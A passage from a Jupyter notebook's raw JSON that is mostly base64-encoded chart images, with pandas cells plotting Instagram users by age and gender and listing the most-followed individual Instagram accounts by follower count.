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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd #import pandas as pd\n", + "import matplotlib.pyplot as plt #import matplotlib \n", + "#Reading the Comma Seperated values file using pandas\n", + "stats = pd.read_csv(\"D:\\\\DataScience\\\\Instagram DataAnalysis\\\\Usage Statistics\\\\IG4.csv\", header=0, sep=\",\") \n", + "\n", + "print(\"Instagram users by age and gender :\")\n", + "stats.dropna(axis=0 ,inplace=True)\n", + "print(stats)\n", + "df = pd.DataFrame(stats)\n", + "print(\"\\nGraph :\\n\")\n", + "df.plot(title=\"Instagram users by age and gender \")" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Most-followed Instagram accounts : " + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Most-followed Instagram accounts (individuals) :\n", + "_________________________________________________________________________________________________________________________\n", + " Account owner Followers(millions)\n", + "0 Cristiano Ronaldo 244\n", + "1 Ariana Grande 208\n", + "2 Dwayne ‘The Rock’ Johnson 205\n", + "3 Kylie Jenner 202\n", + "4 Selena Gomez 196\n", + "5 Kim Kardashian West 192\n", + "6 Lionel Messi 170\n", + "7 Beyoncé 157\n", + "8 Justin Bieber 152\n", + "9 Neymar Jr 144\n", + "10 Kendall Jenner 143\n", + "11 Taylor Swift 141\n", + "12 Jennifer Lopez 134\n", + "13 Khloé Kardashian 123\n", + "14 Miley Cyrus 117\n", + "15 Katy Perry 108\n", + "16 Kourtney Kardashian 104\n", + "17 Kevin Hart 100\n", + "18 Demi Lovato 94\n", + "19 Ellen DeGeneres 92\n" + ] + }, + { + "data": { + "image/png": "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